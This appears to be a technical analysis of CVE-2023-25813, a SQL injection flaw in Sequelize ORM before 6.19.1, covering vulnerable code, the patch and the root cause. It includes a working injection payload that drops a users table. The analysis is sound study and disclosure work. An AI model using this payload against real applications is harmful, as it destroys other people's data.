
Proof-of-concept and technical analysis of CVE-2023-25813, a SQL injection vulnerability in Sequelize ORM versions prior to 6.19.1, including exploitation details and patch information.
replacements option is not properly escaped, which can lead to SQL Injection depending on the query structure.Sequelize is one of the ORM (Object-Relational Mapping) libraries available for Node.js. ORM is a technology that automates the conversion between objects and relational databases, allowing you to query, create, update, and delete database records through objects without writing raw SQL queries.
// SELECT * FROM users WHERE id = 1;
const user = await User.findByPk(1);
replacements is a binding mechanism in Sequelize for safely injecting user input into SQL when using raw SQL queries or ORM methods. It is used as a primary means to prevent SQL Injection.
// Positional binding
await sequelize.query('SELECT * FROM projects WHERE status = ?', {
replacements: ['active'],
});
// Named binding
await sequelize.query(
'SELECT * FROM users WHERE name = :name AND age = :age',
{
replacements: {
name: 'Alice',
age: 25
}
}
);
Sequelize provides the replacements option to safely bind user input to SQL. However, in versions prior to 6.19.1, even when using replacements in ORM methods, SQL Injection can occur due to issues in the order of internal SQL generation and replacement.
Below is an example of Sequelize code where the vulnerability occurs. SQL Injection can happen when combining literal and replacements.
User.findAll({
where: or(
literal('soundex("firstName") = soundex(:firstName)'),
{ lastName: lastName },
),
replacements: { firstName },
})
An attacker can break the query structure by injecting the following input values into replacements.
{
"firstName": "OR true; DROP TABLE users;",
"lastName": ":firstName"
}
This structure re-inserts the replacements key (:firstName) into the value as well, effectively providing the binding key an additional time.
SELECT * FROM users
WHERE soundex("firstName") = soundex(:firstName)
OR "lastName" = ':firstName'
The completed final query is as follows. However, this query takes a form that makes it difficult to clearly determine whether it will execute, and the actual execution result may vary depending on the SQL parser's interpretation and database configuration. In some environments, it may be treated as a simple syntax error, but depending on the configuration, it is a dangerous structure where unintended SQL commands could be executed.
SELECT * FROM users
WHERE soundex("firstName") = soundex('OR true; DROP TABLE users;')
OR "lastName" = ''OR true; DROP TABLE users;''
If the SQL parser allows multiple queries, a single binding could be used to drop a table.

Sequelize treats strings passed to the literal function as trusted SQL fragments and does not escape them. Therefore, the string is inserted directly into the SQL query, and even if :param remains inside, it is left without any processing.
As shown below, replacements works by finding and replacing remaining :param tokens after the SQL has been fully assembled as a string, just before execution. Because of this, user input is inserted directly into the already structured SQL, thereby breaking the entire query structure and causing the vulnerability.
// sequelize-6.19.0/src/sequelize.js
if (options.replacements) {
if (Array.isArray(options.replacements)) {
sql = Utils.format([sql].concat(options.replacements), this.options.dialect);
} else {
sql = Utils.formatNamedParameters(sql, options.replacements, this.options.dialect);
}
}
injectReplacements was defined to allow binding only in syntactically safe locations.
// sequelize-6.19.1/src/sequelize.js
if (options.replacements) {
if (Array.isArray(options.replacements)) {
sql = Utils.format([sql].concat(options.replacements), this.options.dialect);
} else {
sql = Utils.formatNamedParameters(sql, options.replacements, this.options.dialect);
}
sql = injectReplacements(sql, this.dialect, options.replacements);
}